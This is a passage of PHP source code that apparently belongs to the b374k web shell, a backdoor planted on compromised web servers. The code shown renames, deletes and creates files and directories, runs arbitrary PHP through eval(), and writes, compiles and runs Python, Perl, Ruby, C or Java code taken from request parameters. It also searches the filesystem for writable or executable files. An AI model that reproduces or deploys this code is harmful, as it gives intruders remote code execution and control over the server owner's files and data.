? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new; else $s_renmsg = "Cannot find the path specified ".$s_old; $s_result .= "

".$s_renmsg."

"; $s_fnew = $s_cwd.$s_new; } // confirm delete if(!empty($_REQUEST['del'])){ $s_del = trim($_REQUEST['del']); $s_result .= "

Delete ".basename($s_del)." ? Yes | No

"; }// delete file elseif(!empty($_REQUEST['delete'])){ $s_f = ss($_REQUEST['delete']); $s_delmsg = ""; if(is_file($s_f)){ $s_delmsg = (unlink($s_f)) ? "File removed : ".$s_f : "Unable to remove file ".$s_f; } elseif(is_dir($s_f)){ rmdirs($s_f); $s_delmsg = (is_dir($s_f)) ? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f; } else $s_delmsg = "Cannot find the path specified ".$s_f; $s_result .= "

".$s_delmsg."

"; } // create dir elseif(!empty($_REQUEST['mkdir'])){ $s_f = ss($s_cwd.ss($_REQUEST['mkdir'])); $s_dirmsg = ""; $s_num = 1; if(is_dir($s_f)){ $s_pos = strrpos($s_f,"_"); if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1); while(is_dir(substr($s_f,0,$s_pos)."_".$s_num)){ $s_num++; } $s_f = substr($s_f,0,$s_pos)."_".$s_num; } if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f; else $s_dirmsg = "Unable to create directory ".$s_f; $s_result .= "

".$s_dirmsg."

"; } // php eval() function if(isset($_REQUEST['x']) && ($_REQUEST['x']=='eval')){ $s_code = ""; $s_res = ""; $s_gccoption = ""; $s_lang = "php"; if(isset($_REQUEST['evalcode'])){ $s_code = ssc($_REQUEST['evalcode']); $s_gccoption = (isset($_REQUEST['gccoption']))? " ".ssc($_REQUEST['gccoption']):""; $s_tmpdir = get_writabledir(); if(isset($_REQUEST['lang'])){$s_lang = $_REQUEST['lang'];} if(strtolower($s_lang)=='php'){ ob_start(); eval($s_code); $s_res = ob_get_contents(); ob_end_clean(); } elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'){ $s_rand = md5(time().rand(0,100)); $s_script = $s_tmpdir.$s_rand; file_put_contents($s_script, $s_code); if(is_file($s_script)){ $s_res = exe($s_lang." ".$s_script.$s_gccoption); unlink($s_script); } } elseif(strtolower($s_lang)=='gcc'){ $s_script = md5(time().rand(0,100)); chdir($s_tmpdir); file_put_contents($s_script.".c", $s_code); if(is_file($s_script.".c")){ $s_scriptout = $s_win ? $s_script.".exe" : $s_script; $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_gccoption); if(is_file($s_scriptout)){ $s_res = $s_win ? exe($s_scriptout) : exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout); rename($s_scriptout, $s_scriptout."del"); unlink($s_scriptout."del"); } unlink($s_script.".c"); } chdir($s_cwd); } elseif(strtolower($s_lang)=='java'){ if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){ $s_classname = trim($s_r[1]); $s_script = $s_classname; } else{ $s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8); $s_script = $s_rand; $s_code = "class ".$s_rand." { ".$s_code . " } "; } chdir($s_tmpdir); file_put_contents($s_script.".java", $s_code); if(is_file($s_script.".java")){ $s_res = exe("javac ".$s_script.".java"); if(is_file($s_script.".class")){ $s_res .= exe("java ".$s_script.$s_gccoption); unlink($s_script.".class"); } unlink($s_script.".java"); } chdir($s_pwd); } } $s_lang_available = ""; $s_selected = ""; if($s_python){ $s_checked = ($s_lang == "python") ? "selected" : ""; $s_lang_available .= ""; } if($s_perl){ $s_checked = ($s_lang == "perl") ? "selected" : ""; $s_lang_available .= ""; } if($s_ruby){ $s_checked = ($s_lang == "ruby") ? "selected" : ""; $s_lang_available .= ""; } if($s_gcc){ $s_checked = ($s_lang == "gcc") ? "selected" : ""; $s_lang_available .= ""; } if($s_java){ $s_checked = ($s_lang == "java") ? "selected" : ""; $s_lang_available .= ""; } $s_gccoptionclass = ($s_lang=="php")? "sembunyi":""; $s_e_result = (!empty($s_res)) ? "
".hss($s_res)."
":""; $s_result .= "

Additional option
".$s_e_result."
"; } // find elseif(isset($_REQUEST['find'])){ $s_p = cp($_REQUEST['find']); $s_type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "sfile"; $s_sfname = (!empty($_REQUEST['sfname']))?ssc($_REQUEST['sfname']):''; $s_sdname = (!empty($_REQUEST['sdname']))?ssc($_REQUEST['sdname']):''; $s_sfcontain = (!empty($_REQUEST['sfcontain']))?ssc($_REQUEST['sfcontain']):''; $s_sfnameregexchecked=$s_sfnameicasechecked=$s_sdnameregexchecked=$s_sdnameicasechecked=$s_sfcontainregexchecked=$s_sfcontainicasechecked=$s_swritablechecked=$s_sreadablechecked=$s_sexecutablechecked=""; $s_sfnameregex=$s_sfnameicase=$s_sdnameregex=$s_sdnameicase=$s_sfcontainregex=$s_sfcontainicase=$s_swritable=$s_sreadable=$s_sexecutable=false; if(isset($_REQUEST['sfnameregex'])){$s_sfnameregex=true;$s_sfnameregexchecked="checked";} if(isset($_REQUEST['sfnameicase'])){$s_sfnameicase=true;$s_sfnameicasechecked="checked";} if(isset($_REQUEST['sdnameregex'])){$s_sdnameregex=true;$s_sdnameregexchecked="checked";} if(isset($_REQUEST['sdnameicase'])){$s_sdnameicase=true;$s_sdnameicasechecked="checked";} if(isset($_REQUEST['sfcontainregex'])){$s_sfcontainregex=true;$s_sfcontainregexchecked="checked";} if(isset($_REQUEST['sfcontainicase'])){$s_sfcontainicase=true;$s_sfcontainicasechecked="checked";} if(isset($_REQUEST['swritable'])){$s_swritable=true;$s_swritablechecked="checked";} if(isset($_REQUEST['sreadable'])){$s_sreadable=true;$s_sreadablechecked="checked";} if(isset($_REQUEST['sexecutable'])){$s_sexecutable=true;$s_sexecutablechecked="checked";} $s_sexecb = (function_exists("is_executable")) ? "